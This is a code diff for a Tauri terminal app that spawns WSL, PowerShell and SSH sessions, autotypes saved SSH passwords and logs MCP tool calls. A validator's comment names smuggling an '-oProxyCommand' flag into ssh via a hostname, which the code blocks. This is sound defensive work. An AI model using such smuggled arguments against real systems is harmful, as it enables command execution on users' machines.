/// {@link mark_transferring} when a transfer begins; decremented by
|
||||
/// {@link claim} when the target window finishes mounting. While >0,
|
||||
/// {@link kill} is a no-op for that id.
|
||||
///
|
||||
/// Refcount (vs. plain flag) so concurrent transfers — or the rare
|
||||
/// case where a transfer is retried before the previous one fully
|
||||
/// releases — don't drop the suppression early.
|
||||
transferring: Mutex<HashMap<PaneId, u32>>,
|
||||
}
|
||||
|
||||
impl PtyManager {
|
||||
|
|
@ -38,17 +126,37 @@ impl PtyManager {
|
|||
Self {
|
||||
panes: Mutex::new(HashMap::new()),
|
||||
next_id: AtomicU64::new(1),
|
||||
transferring: Mutex::new(HashMap::new()),
|
||||
}
|
||||
}
|
||||
|
||||
/// Spawn `wsl.exe` (optionally `-d <distro>`, optionally `--cd <cwd>`).
|
||||
/// Returns the new pane id. A background thread starts reading the PTY
|
||||
/// immediately and emits `pane://{id}/data` events.
|
||||
pub fn spawn_wsl(
|
||||
/// Bump the transferring refcount for a pane. While >0, {@link kill} is
|
||||
/// a no-op so the source window's React unmount-cleanup can't tear
|
||||
/// down the PTY mid-transfer.
|
||||
pub fn mark_transferring(&self, id: PaneId) {
|
||||
*self.transferring.lock().entry(id).or_insert(0) += 1;
|
||||
}
|
||||
|
||||
/// Decrement the transferring refcount. When it reaches zero the entry
|
||||
/// is removed and {@link kill} can act on this pane again.
|
||||
pub fn claim(&self, id: PaneId) {
|
||||
let mut map = self.transferring.lock();
|
||||
if let Some(rc) = map.get_mut(&id) {
|
||||
if *rc > 1 {
|
||||
*rc -= 1;
|
||||
} else {
|
||||
map.remove(&id);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Spawn the shell described by `spec` into a fresh PTY. Returns the
|
||||
/// new pane id; a background thread immediately starts reading and
|
||||
/// emits `pane://{id}/data` events.
|
||||
pub fn spawn(
|
||||
&self,
|
||||
app: AppHandle,
|
||||
distro: Option<String>,
|
||||
cwd: Option<String>,
|
||||
spec: SpawnSpec,
|
||||
cols: u16,
|
||||
rows: u16,
|
||||
) -> Result<PaneId> {
|
||||
|
|
@ -62,26 +170,23 @@ impl PtyManager {
|
|||
})
|
||||
.context("openpty failed")?;
|
||||
|
||||
let mut cmd = CommandBuilder::new("wsl.exe");
|
||||
if let Some(d) = distro.as_deref() {
|
||||
cmd.arg("-d");
|
||||
cmd.arg(d);
|
||||
}
|
||||
// Default new panes to the WSL user's home (~) rather than the
|
||||
// Windows-side cwd we inherit from the launcher (typically
|
||||
// C:\Users\<you>, which shows up as /mnt/c/Users/<you> inside WSL).
|
||||
// wsl.exe resolves `~` against the distro's default shell.
|
||||
let resolved_cwd = cwd.as_deref().unwrap_or("~");
|
||||
cmd.arg("--cd");
|
||||
cmd.arg(resolved_cwd);
|
||||
// Force a login shell so .bashrc etc. run and PATH is populated.
|
||||
// wsl.exe without an explicit command launches the default shell
|
||||
// interactively, which is exactly what we want.
|
||||
// Look up any saved password BEFORE building the command (cheap, no
|
||||
// bytes-on-the-wire involved). If this is an SSH spawn with a host
|
||||
// id and the user has stored a credential, the reader thread will
|
||||
// autotype it when ssh prompts.
|
||||
let saved_password = match &spec {
|
||||
SpawnSpec::Ssh { host_id: Some(id), .. } => match creds::get(id) {
|
||||
Ok(p) => p,
|
||||
Err(e) => {
|
||||
tracing::warn!("keyring lookup for {id} failed: {e}");
|
||||
None
|
||||
}
|
||||
},
|
||||
_ => None,
|
||||
};
|
||||
|
||||
let child = pair
|
||||
.slave
|
||||
.spawn_command(cmd)
|
||||
.context("failed to spawn wsl.exe; is WSL installed?")?;
|
||||
let (cmd, spawn_err) = build_command(&spec)?;
|
||||
let child = pair.slave.spawn_command(cmd).context(spawn_err)?;
|
||||
|
||||
// We need to keep the master alive (drop = close the PTY), but we
|
||||
// also need the reader and writer split from it.
|
||||
|
|
@ -89,10 +194,12 @@ impl PtyManager {
|
|||
.master
|
||||
.try_clone_reader()
|
||||
.context("try_clone_reader failed")?;
|
||||
let writer = pair
|
||||
let writer_raw = pair
|
||||
.master
|
||||
.take_writer()
|
||||
.context("take_writer failed")?;
|
||||
let writer: SharedWriter = Arc::new(Mutex::new(writer_raw));
|
||||
let ring: Arc<Mutex<PaneRing>> = Arc::new(Mutex::new(PaneRing::new()));
|
||||
|
||||
let id = self.next_id.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
|
|
@ -100,16 +207,23 @@ impl PtyManager {
|
|||
id,
|
||||
PaneHandle {
|
||||
master: pair.master,
|
||||
writer,
|
||||
writer: writer.clone(),
|
||||
child,
|
||||
ring: ring.clone(),
|
||||
},
|
||||
);
|
||||
|
||||
// Reader thread: pump bytes -> base64 -> emit.
|
||||
// Reader thread: pump bytes -> base64 -> emit. Also handles the
|
||||
// password-prompt autotype state machine if `saved_password` is set,
|
||||
// and pushes raw bytes into the per-pane scrollback ring for the
|
||||
// MCP server to read.
|
||||
let app_for_reader = app.clone();
|
||||
let event_name = format!("pane://{id}/data");
|
||||
let writer_for_reader = writer.clone();
|
||||
let ring_for_reader = ring.clone();
|
||||
std::thread::spawn(move || {
|
||||
let mut buf = [0u8; 8192];
|
||||
let mut pw_state = PasswordState::from(saved_password);
|
||||
loop {
|
||||
match reader.read(&mut buf) {
|
||||
Ok(0) => {
|
||||
|
|
@ -118,6 +232,13 @@ impl PtyManager {
|
|||
break;
|
||||
}
|
||||
Ok(n) => {
|
||||
// Try to autotype before emitting so we don't wait
|
||||
// on the renderer; pw_state mutates here.
|
||||
pw_state.observe(&buf[..n], &writer_for_reader, id);
|
||||
|
||||
// Mirror bytes into the scrollback ring (MCP source).
|
||||
ring_for_reader.lock().push(&buf[..n]);
|
||||
|
||||
let chunk_b64 = B64.encode(&buf[..n]);
|
||||
if let Err(e) =
|
||||
app_for_reader.emit(&event_name, DataChunk { b64: chunk_b64 })
|
||||
|
|
@ -138,12 +259,16 @@ impl PtyManager {
|
|||
}
|
||||
|
||||
pub fn write(&self, id: PaneId, bytes: &[u8]) -> Result<()> {
|
||||
let mut panes = self.panes.lock();
|
||||
let pane = panes
|
||||
.get_mut(&id)
|
||||
.ok_or_else(|| anyhow!("no pane with id {id}"))?;
|
||||
pane.writer.write_all(bytes).context("pty write failed")?;
|
||||
pane.writer.flush().ok();
|
||||
let writer = {
|
||||
let panes = self.panes.lock();
|
||||
let pane = panes
|
||||
.get(&id)
|
||||
.ok_or_else(|| anyhow!("no pane with id {id}"))?;
|
||||
pane.writer.clone()
|
||||
};
|
||||
let mut w = writer.lock();
|
||||
w.write_all(bytes).context("pty write failed")?;
|
||||
w.flush().ok();
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
|
@ -164,6 +289,14 @@ impl PtyManager {
|
|||
}
|
||||
|
||||
pub fn kill(&self, id: PaneId) -> Result<()> {
|
||||
// If a transfer is in flight for this pane, suppress the kill so
|
||||
// the source window's unmount-cleanup can't race the target
|
||||
// window's mount-claim. The target's claim() will decrement the
|
||||
// refcount; the next caller of kill() (if any) will actually kill.
|
||||
if self.transferring.lock().contains_key(&id) {
|
||||
tracing::debug!("pty kill suppressed during transfer for pane {id}");
|
||||
return Ok(());
|
||||
}
|
||||
let mut panes = self.panes.lock();
|
||||
if let Some(mut pane) = panes.remove(&id) {
|
||||
// Best-effort: ask the child to die. Dropping `master` after this
|
||||
|
|
@ -172,6 +305,13 @@ impl PtyManager {
|
|||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Borrow the per-pane scrollback ring. Returns None if the pane has
|
||||
/// been killed. The Arc lets callers hold the ring even after the
|
||||
/// PaneHandle is dropped (reader thread will stop pushing into it).
|
||||
pub fn ring(&self, id: PaneId) -> Option<Arc<Mutex<PaneRing>>> {
|
||||
self.panes.lock().get(&id).map(|p| p.ring.clone())
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Serialize, Clone)]
|
||||
|
|
@ -179,6 +319,179 @@ struct DataChunk {
|
|||
b64: String,
|
||||
}
|
||||
|
||||
// ---- command construction ---------------------------------------------------
|
||||
|
||||
/// Reject hostnames / usernames that would let an attacker smuggle in a
|
||||
/// flag (`-oProxyCommand=...`) or a shell metacharacter via OpenSSH's token
|
||||
/// expansion. We additionally pass `--` before the host on the command line,
|
||||
/// but rejecting up front gives a clearer error and avoids ever handing the
|
||||
/// bad value to ssh.exe.
|
||||
pub fn validate_ssh_token(label: &str, value: &str) -> Result<()> {
|
||||
if value.is_empty() {
|
||||
return Err(anyhow!("ssh: {label} must not be empty"));
|
||||
}
|
||||
if value.starts_with('-') {
|
||||
return Err(anyhow!("ssh: {label} must not start with '-' (got {value:?})"));
|
||||
}
|
||||
if value.chars().any(|c| c.is_control() || c == '\n' || c == '\r') {
|
||||
return Err(anyhow!("ssh: {label} must not contain control characters"));
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn build_command(spec: &SpawnSpec) -> Result<(CommandBuilder, &'static str)> {
|
||||
match spec {
|
||||
SpawnSpec::Wsl { distro, cwd } => {
|
||||
let mut c = CommandBuilder::new("wsl.exe");
|
||||
if let Some(d) = distro.as_deref() {
|
||||
c.arg("-d");
|
||||
c.arg(d);
|
||||
}
|
||||
// Default new panes to the WSL user's home (~) rather than the
|
||||
// Windows-side cwd we inherit from the launcher (typically
|
||||
// C:\Users\<you>, which shows up as /mnt/c/Users/<you> inside WSL).
|
||||
// wsl.exe resolves `~` against the distro's default shell.
|
||||
let resolved_cwd = cwd.as_deref().unwrap_or("~");
|
||||
c.arg("--cd");
|
||||
c.arg(resolved_cwd);
|
||||
Ok((c, "failed to spawn wsl.exe; is WSL installed?"))
|
||||
}
|
||||
SpawnSpec::Powershell => {
|
||||
// cwd intentionally ignored — see commit history.
|
||||
let mut c = CommandBuilder::new("powershell.exe");
|
||||
c.arg("-NoLogo");
|
||||
Ok((c, "failed to spawn powershell.exe"))
|
||||
}
|
||||
SpawnSpec::Ssh {
|
||||
host,
|
||||
user,
|
||||
port,
|
||||
identity_file,
|
||||
jump_host,
|
||||
extra_args,
|
||||
// Read in `spawn()` to look up the saved password; not needed
|
||||
// when building the command line.
|
||||
host_id: _,
|
||||
} => {
|
||||
validate_ssh_token("host", host)?;
|
||||
if let Some(u) = user.as_deref() {
|
||||
validate_ssh_token("user", u)?;
|
||||
}
|
||||
if let Some(jh) = jump_host.as_deref() {
|
||||
validate_ssh_token("jump host", jh)?;
|
||||
}
|
||||
|
||||
let mut c = CommandBuilder::new("ssh.exe");
|
||||
// ssh would auto-detect a tty here, but force it explicitly so
|
||||
// remote-side TUI apps don't accidentally see a non-tty stdin.
|
||||
c.arg("-t");
|
||||
if let Some(u) = user.as_deref() {
|
||||
c.arg("-l");
|
||||
c.arg(u);
|
||||
}
|
||||
if let Some(p) = port {
|
||||
c.arg("-p");
|
||||
c.arg(p.to_string());
|
||||
}
|
||||
if let Some(idf) = identity_file.as_deref() {
|
||||
c.arg("-i");
|
||||
c.arg(idf);
|
||||
}
|
||||
if let Some(jh) = jump_host.as_deref() {
|
||||
c.arg("-J");
|
||||
c.arg(jh);
|
||||
}
|
||||
if let Some(extra) = extra_args.as_deref() {
|
||||
for a in extra {
|
||||
c.arg(a);
|
||||
}
|
||||
}
|
||||
// `--` ends option parsing — a hostname starting with `-` can't
|
||||
// smuggle in flags via OpenSSH's option parser.
|
||||
c.arg("--");
|
||||
c.arg(host);
|
||||
// Some Windows OpenSSH builds otherwise advertise a TERM the
|
||||
// remote side doesn't recognise; xterm.js speaks xterm-256color.
|
||||
c.env("TERM", "xterm-256color");
|
||||
Ok((c, "failed to spawn ssh.exe; is OpenSSH installed?"))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---- password-prompt autotype ----------------------------------------------
|
||||
|
||||
/// How long after spawn we keep watching for a password prompt. If nothing
|
||||
/// matches in this window, we disarm and never autotype — so a remote shell
|
||||
/// that prints "password" hours later can't get our credential injected.
|
||||
const PASSWORD_AUTOTYPE_WINDOW: Duration = Duration::from_secs(30);
|
||||
/// Sliding window of recent PTY output we scan for the prompt. Keeps the
|
||||
/// scan bounded; matches don't need much context.
|
||||
const PROMPT_SCAN_TAIL: usize = 256;
|
||||
|
||||
enum PasswordState {
|
||||
Disabled,
|
||||
Armed {
|
||||
password: String,
|
||||
deadline: Instant,
|
||||
tail: Vec<u8>,
|
||||
},
|
||||
}
|
||||
|
||||
impl PasswordState {
|
||||
fn from(password: Option<String>) -> Self {
|
||||
match password {
|
||||
None => Self::Disabled,
|
||||
Some(p) => Self::Armed {
|
||||
password: p,
|
||||
deadline: Instant::now() + PASSWORD_AUTOTYPE_WINDOW,
|
||||
tail: Vec::with_capacity(PROMPT_SCAN_TAIL * 2),
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
/// Called for each chunk of PTY output. Mutates state — once we write
|
||||
/// the password (or time out) the state collapses to Disabled and this
|
||||
/// becomes a no-op for the rest of the connection.
|
||||
fn observe(&mut self, chunk: &[u8], writer: &SharedWriter, pane_id: PaneId) {
|
||||
let (password, tail, deadline) = match self {
|
||||
PasswordState::Disabled => return,
|
||||
PasswordState::Armed { password, tail, deadline } => (password, tail, deadline),
|
||||
};
|
||||
|
||||
if Instant::now() > *deadline {
|
||||
*self = PasswordState::Disabled;
|
||||
return;
|
||||
}
|
||||
|
||||
tail.extend_from_slice(chunk);
|
||||
if tail.len() > PROMPT_SCAN_TAIL {
|
||||
let drop = tail.len() - PROMPT_SCAN_TAIL;
|
||||
tail.drain(..drop);
|
||||
}
|
||||
|
||||
if !looks_like_password_prompt(tail) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Match — write the password + Enter, then collapse to Disabled.
|
||||
let mut w = writer.lock();
|
||||
if let Err(e) = w.write_all(password.as_bytes()) {
|
||||
tracing::warn!("pane {pane_id}: password autotype write failed: {e}");
|
||||
}
|
||||
let _ = w.write_all(b"\n");
|
||||
let _ = w.flush();
|
||||
*self = PasswordState::Disabled;
|
||||
}
|
||||
}
|
||||
|
||||
fn looks_like_password_prompt(buf: &[u8]) -> bool {
|
||||
// OpenSSH prompts: `<user>@<host>'s password:`, `Permission denied,
|
||||
// please try again. password:`, `Enter passphrase for key '...':`.
|
||||
// Lowercase the recent tail and substring-match — cheap and good enough.
|
||||
let s = String::from_utf8_lossy(buf).to_ascii_lowercase();
|
||||
s.contains("password:") || s.contains("passphrase")
|
||||
}
|
||||
|
||||
// ---- distro enumeration -----------------------------------------------------
|
||||
|
||||
/// Run a process without flashing a console window on Windows.
|
||||
|
|
|
|||
151
src-tauri/src/window_state.rs
Normal file
151
src-tauri/src/window_state.rs
Normal file
|
|
@ -0,0 +1,151 @@
|
|||
//! Cross-window workspace state aggregator.
|
||||
//!
|
||||
//! Each window owns its own list of workspaces (tabs) in its React state.
|
||||
//! When that list changes, the window calls `push_window_workspaces` to
|
||||
//! ship a snapshot down here. This module merges every window's snapshot
|
||||
//! into one envelope and persists it to `workspace.json` on a debounced
|
||||
//! timer — same `{ version: 2, workspaces: [...] }` shape the frontend
|
||||
//! reads at startup.
|
||||
//!
|
||||
//! The Rust side stays agnostic of the per-tree shape: workspaces are
|
||||
//! stored as `serde_json::Value` so this module never needs to be updated
|
||||
//! when LeafNode / SplitNode fields change.
|
||||
//!
|
||||
//! Lifetime of per-window entries:
|
||||
//! - Created/updated on every `push_window_workspaces` call.
|
||||
//! - The main window pushes initially after loading from disk; detached
|
||||
//! windows push after takeing their pending-init payload.
|
||||
//! - On detached-window close (handled in lib.rs), the entry is removed
|
||||
//! so the next save doesn't resurrect tabs the user explicitly closed.
|
||||
//! The main window's entry persists across the app lifetime.
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use parking_lot::Mutex;
|
||||
use serde_json::Value;
|
||||
// `async_runtime::spawn` schedules onto Tauri's global Tokio runtime and works
|
||||
// from ANY thread — including the synchronous `on_window_event` callback that
|
||||
// reaches `schedule_save` via `forget()` on window close. Plain `tokio::spawn`
|
||||
// panics there ("no reactor running") because that callback has no ambient
|
||||
// runtime, and a main-thread panic aborts the whole process, taking every
|
||||
// window + PTY with it. See the close-crash fix.
|
||||
use tauri::async_runtime::{spawn, JoinHandle};
|
||||
use tauri::{AppHandle, Manager};
|
||||
use tokio::time::sleep;
|
||||
|
||||
const WORKSPACE_FILE: &str = "workspace.json";
|
||||
const SAVE_DEBOUNCE: Duration = Duration::from_millis(500);
|
||||
|
||||
/// The label of the main (boot) window. Matches `tauri.conf.json`'s
|
||||
/// `windows[0].label`. Used to decide whether a window-close should
|
||||
/// retain or discard that window's tabs.
|
||||
pub const MAIN_WINDOW_LABEL: &str = "main";
|
||||
|
||||
#[derive(Default)]
|
||||
pub struct WindowsState {
|
||||
per_window: Mutex<HashMap<String, Vec<Value>>>,
|
||||
save_task: Mutex<Option<JoinHandle<()>>>,
|
||||
}
|
||||
|
||||
impl WindowsState {
|
||||
/// Replace this window's workspaces snapshot and schedule a debounced
|
||||
/// save. Subsequent calls within the debounce window cancel the
|
||||
/// previous save task — so a flurry of UI mutations only writes once.
|
||||
pub fn push(
|
||||
self: &Arc<Self>,
|
||||
app: AppHandle,
|
||||
label: String,
|
||||
workspaces: Vec<Value>,
|
||||
) {
|
||||
self.per_window.lock().insert(label, workspaces);
|
||||
self.schedule_save(app);
|
||||
}
|
||||
|
||||
/// Drop a window's snapshot from the aggregate. Called on close of a
|
||||
/// non-main window so its tabs don't reappear on next launch.
|
||||
pub fn forget(self: &Arc<Self>, app: AppHandle, label: &str) {
|
||||
let removed = self.per_window.lock().remove(label).is_some();
|
||||
if removed {
|
||||
self.schedule_save(app);
|
||||
}
|
||||
}
|
||||
|
||||
/// Build the on-disk envelope from ONLY the main window's workspaces.
|
||||
///
|
||||
/// Detached windows are ephemeral — their tabs are discarded on close
|
||||
/// (Chrome-style), and only the main window's tabs are meant to survive
|
||||
/// a restart. Persisting every window's workspaces (the original design)
|
||||
/// let detached windows' tabs — and the `Pane N` adopt-targets from
|
||||
/// drag-out — leak into the saved file; on the next launch the main
|
||||
/// window loaded the whole blob and adopted them all, so they
|
||||
/// accumulated without bound. Keying the persisted set to the main label
|
||||
/// makes detached state structurally unable to pollute it.
|
||||
fn build_envelope(&self) -> Value {
|
||||
let map = self.per_window.lock();
|
||||
let workspaces: Vec<Value> =
|
||||
map.get(MAIN_WINDOW_LABEL).cloned().unwrap_or_default();
|
||||
serde_json::json!({
|
||||
"version": 2,
|
||||
"workspaces": workspaces,
|
||||
})
|
||||
}
|
||||
|
||||
fn schedule_save(self: &Arc<Self>, app: AppHandle) {
|
||||
let me = Arc::clone(self);
|
||||
let mut slot = self.save_task.lock();
|
||||
if let Some(prev) = slot.take() {
|
||||
prev.abort();
|
||||
}
|
||||
let handle = spawn(async move {
|
||||
sleep(SAVE_DEBOUNCE).await;
|
||||
if let Err(e) = me.save_now(&app).await {
|
||||
tracing::warn!("debounced workspace save failed: {e:#}");
|
||||
}
|
||||
});
|
||||
*slot = Some(handle);
|
||||
}
|
||||
|
||||
async fn save_now(&self, app: &AppHandle) -> Result<()> {
|
||||
let envelope = self.build_envelope();
|
||||
let json = serde_json::to_string(&envelope).context("serialize envelope")?;
|
||||
let dir = app
|
||||
.path()
|
||||
.app_config_dir()
|
||||
.map_err(|e| anyhow::anyhow!("app_config_dir: {e}"))?;
|
||||
std::fs::create_dir_all(&dir).context("create_dir_all")?;
|
||||
let path = dir.join(WORKSPACE_FILE);
|
||||
let tmp = dir.join(format!("{WORKSPACE_FILE}.tmp"));
|
||||
std::fs::write(&tmp, json.as_bytes()).context("write tmp")?;
|
||||
std::fs::rename(&tmp, &path).context("rename tmp -> final")?;
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Pane-transfer pending-init registry
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Payload the source window stashes in the backend before opening a new
|
||||
/// window; the target window pulls it during App mount via
|
||||
/// `take_pending_window_init`.
|
||||
///
|
||||
/// `leaf_json` and `workspace_name` are owned by the source — the backend
|
||||
/// doesn't parse the leaf shape. `pane_id` is the existing PTY id the
|
||||
/// target window's XtermPane should attach to (instead of spawning).
|
||||
#[derive(Clone, serde::Serialize, serde::Deserialize)]
|
||||
pub struct PendingInit {
|
||||
#[serde(rename = "leafJson")]
|
||||
pub leaf_json: String,
|
||||
#[serde(rename = "paneId")]
|
||||
pub pane_id: crate::pty::PaneId,
|
||||
#[serde(rename = "workspaceName")]
|
||||
pub workspace_name: String,
|
||||
}
|
||||
|
||||
#[derive(Default)]
|
||||
pub struct PendingInits {
|
||||
pub by_label: Mutex<HashMap<String, PendingInit>>,
|
||||
}
|
||||
|
|
@ -1,7 +1,7 @@
|
|||
{
|
||||
"$schema": "https://schema.tauri.app/config/2",
|
||||
"productName": "tiletopia",
|
||||
"version": "0.2.3",
|
||||
"version": "0.4.1",
|
||||
"identifier": "com.megaproxy.tiletopia",
|
||||
"build": {
|
||||
"beforeDevCommand": "pnpm dev",
|
||||
|
|
|
|||
42
src/App.css
42
src/App.css
|
|
@ -16,18 +16,25 @@
|
|||
font-size: 12px;
|
||||
color: #aaa;
|
||||
user-select: none;
|
||||
/* Lock to a single row even when the window is narrow: buttons whose
|
||||
text would otherwise wrap (e.g. "📡 all off") would grow the
|
||||
titlebar, shrink .pane-wrap, and reflow every xterm. nowrap stops
|
||||
text-wrap inside buttons, flex-shrink:0 stops children from being
|
||||
squeezed, height locks the row height. Overflow is left visible
|
||||
so dropdown menus below the chips aren't clipped by the bar. */
|
||||
white-space: nowrap;
|
||||
height: 34px;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
.titlebar > * {
|
||||
flex-shrink: 0;
|
||||
}
|
||||
.titlebar .label {
|
||||
font-weight: 600;
|
||||
color: #ddd;
|
||||
}
|
||||
|
||||
.distros, .presets {
|
||||
display: flex;
|
||||
gap: 4px;
|
||||
align-items: center;
|
||||
}
|
||||
.distro-btn, .preset-btn, .palette-btn {
|
||||
.titlebar-chip, .palette-btn {
|
||||
font: inherit;
|
||||
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
|
||||
font-size: 11px;
|
||||
|
|
@ -38,15 +45,21 @@
|
|||
padding: 2px 8px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.distro-btn:hover, .preset-btn:hover, .palette-btn:hover {
|
||||
.titlebar-chip:hover, .palette-btn:hover {
|
||||
background: #2a2a2a;
|
||||
color: #ddd;
|
||||
}
|
||||
.distro-btn.active {
|
||||
background: #1a3a5c;
|
||||
.titlebar-chip.add-pane {
|
||||
font-size: 14px;
|
||||
line-height: 1;
|
||||
padding: 2px 8px;
|
||||
color: #cce6ff;
|
||||
border-color: #2a5a8c;
|
||||
}
|
||||
.titlebar-chip.add-pane:hover {
|
||||
background: #1a3a5c;
|
||||
color: #fff;
|
||||
}
|
||||
.palette-btn.bcast-all.on {
|
||||
background: #4a3010;
|
||||
color: #f0c060;
|
||||
|
|
@ -56,13 +69,10 @@
|
|||
background: #2a2010;
|
||||
color: #c98a1f;
|
||||
}
|
||||
.preset-btn {
|
||||
min-width: 28px;
|
||||
text-align: center;
|
||||
}
|
||||
.muted {
|
||||
color: #666;
|
||||
font-style: italic;
|
||||
.palette-btn.mcp-btn.on {
|
||||
background: #1a3a1a;
|
||||
color: #80e080;
|
||||
border-color: #2a6a2a;
|
||||
}
|
||||
.layout-info {
|
||||
margin-left: auto;
|
||||
|
|
|
|||
1917
src/App.tsx
1917
src/App.tsx
File diff suppressed because it is too large
Load diff
101
src/components/AuditTab.tsx
Normal file
101
src/components/AuditTab.tsx
Normal file
|
|
@ -0,0 +1,101 @@
|
|||
import type { McpAuditEntry } from "../ipc";
|
||||
|
||||
function fmtTime(tsMs: number): string {
|
||||
const d = new Date(tsMs);
|
||||
const hh = String(d.getHours()).padStart(2, "0");
|
||||
const mm = String(d.getMinutes()).padStart(2, "0");
|
||||
const ss = String(d.getSeconds()).padStart(2, "0");
|
||||
const ms = String(d.getMilliseconds()).padStart(3, "0");
|
||||
return `${hh}:${mm}:${ss}.${ms}`;
|
||||
}
|
||||
|
||||
interface ResultChipProps {
|
||||
result: McpAuditEntry["result"];
|
||||
}
|
||||
|
||||
function ResultChip({ result }: ResultChipProps) {
|
||||
if (result.kind === "ok") {
|
||||
return <span className="audit-chip audit-chip--ok">ok</span>;
|
||||
}
|
||||
if (result.kind === "denied") {
|
||||
return (
|
||||
<span className="audit-chip audit-chip--denied">
|
||||
denied{result.hard && <em> hard</em>}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
return <span className="audit-chip audit-chip--failed">failed</span>;
|
||||
}
|
||||
|
||||
function rowClass(result: McpAuditEntry["result"]): string {
|
||||
if (result.kind === "ok") return "audit-row audit-row--ok";
|
||||
if (result.kind === "denied") return "audit-row audit-row--denied";
|
||||
return "audit-row audit-row--failed";
|
||||
}
|
||||
|
||||
interface AuditTabProps {
|
||||
/** Audit ring, owned by App so it persists across panel open/close. */
|
||||
entries: McpAuditEntry[];
|
||||
onClear: () => void;
|
||||
}
|
||||
|
||||
export default function AuditTab({ entries, onClear }: AuditTabProps) {
|
||||
return (
|
||||
<div className="audit-tab">
|
||||
<div className="audit-toolbar">
|
||||
<button
|
||||
className="audit-clear"
|
||||
onClick={onClear}
|
||||
disabled={entries.length === 0}
|
||||
>
|
||||
Clear
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{entries.length === 0 ? (
|
||||
<p className="audit-empty">No MCP tool calls yet.</p>
|
||||
) : (
|
||||
<table className="audit-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Time</th>
|
||||
<th>Tool</th>
|
||||
<th>Args</th>
|
||||
<th>Result</th>
|
||||
<th>ms</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{entries.map((e, i) => (
|
||||
// Index is fine as key here — entries are prepended and never
|
||||
// reordered; i=0 is always the newest.
|
||||
<tr key={i} className={rowClass(e.result)}>
|
||||
<td className="audit-cell--time">{fmtTime(e.tsMs)}</td>
|
||||
<td className="audit-cell--tool">{e.tool}</td>
|
||||
<td className="audit-cell--args" title={e.argsSummary}>
|
||||
{e.argsSummary}
|
||||
</td>
|
||||
<td className="audit-cell--result">
|
||||
<ResultChip result={e.result} />
|
||||
{e.result.kind === "failed" && (
|
||||
<span className="audit-errmsg" title={e.result.msg}>
|
||||
{" "}
|
||||
{e.result.msg}
|
||||
</span>
|
||||
)}
|
||||
{e.result.kind === "denied" && e.result.reason && (
|
||||
<span className="audit-errmsg" title={e.result.reason}>
|
||||
{" "}
|
||||
{e.result.reason}
|
||||
</span>
|
||||
)}
|
||||
</td>
|
||||
<td className="audit-cell--dur">{e.durationMs}</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
203
src/components/ColorPanel.css
Normal file
203
src/components/ColorPanel.css
Normal file
|
|
@ -0,0 +1,203 @@
|
|||
.color-panel {
|
||||
position: fixed;
|
||||
top: 8vh;
|
||||
left: 50%;
|
||||
transform: translateX(-50%);
|
||||
width: min(520px, 92vw);
|
||||
max-height: 84vh;
|
||||
background: #161616;
|
||||
color: #ccc;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 20px 60px rgba(0, 0, 0, 0.6);
|
||||
z-index: 100;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
overflow: hidden;
|
||||
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
|
||||
}
|
||||
|
||||
.color-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
padding: 10px 14px;
|
||||
border-bottom: 1px solid #2a2a2a;
|
||||
}
|
||||
.color-title { font-weight: 600; font-size: 13px; }
|
||||
.color-close {
|
||||
background: transparent; border: none; color: #888;
|
||||
font-size: 18px; line-height: 1; padding: 2px 8px;
|
||||
cursor: pointer; border-radius: 3px;
|
||||
}
|
||||
.color-close:hover { background: #2a2a2a; color: #ddd; }
|
||||
|
||||
/* ---- Mode toggle -------------------------------------------------------- */
|
||||
|
||||
.color-modes {
|
||||
display: flex;
|
||||
gap: 0;
|
||||
border-bottom: 1px solid #2a2a2a;
|
||||
padding: 0 10px;
|
||||
}
|
||||
.color-mode {
|
||||
position: relative;
|
||||
font: inherit;
|
||||
font-size: 11px;
|
||||
font-weight: 500;
|
||||
letter-spacing: 0.04em;
|
||||
background: transparent;
|
||||
color: #777;
|
||||
border: none;
|
||||
border-bottom: 2px solid transparent;
|
||||
padding: 7px 12px 5px;
|
||||
cursor: pointer;
|
||||
transition: color 0.1s, border-color 0.1s;
|
||||
}
|
||||
.color-mode:hover:not(:disabled) { color: #bbb; }
|
||||
.color-mode:disabled { color: #555; cursor: default; }
|
||||
.color-mode--active {
|
||||
color: #cce6ff;
|
||||
border-bottom-color: #4488cc;
|
||||
}
|
||||
|
||||
/* ---- Body --------------------------------------------------------------- */
|
||||
|
||||
.color-body { padding: 14px 18px; overflow-y: auto; }
|
||||
.color-blurb { margin: 0 0 14px; font-size: 11px; line-height: 1.5; color: #999; }
|
||||
|
||||
/* ---- Colour rows -------------------------------------------------------- */
|
||||
|
||||
.color-rows { display: flex; flex-direction: column; gap: 8px; }
|
||||
.color-row {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 10px;
|
||||
}
|
||||
.color-row-label {
|
||||
flex: 0 0 90px;
|
||||
font-size: 12px;
|
||||
color: #bbb;
|
||||
}
|
||||
.color-swatch {
|
||||
flex: 0 0 auto;
|
||||
width: 34px;
|
||||
height: 26px;
|
||||
padding: 0;
|
||||
border: 1px solid #3a3a3a;
|
||||
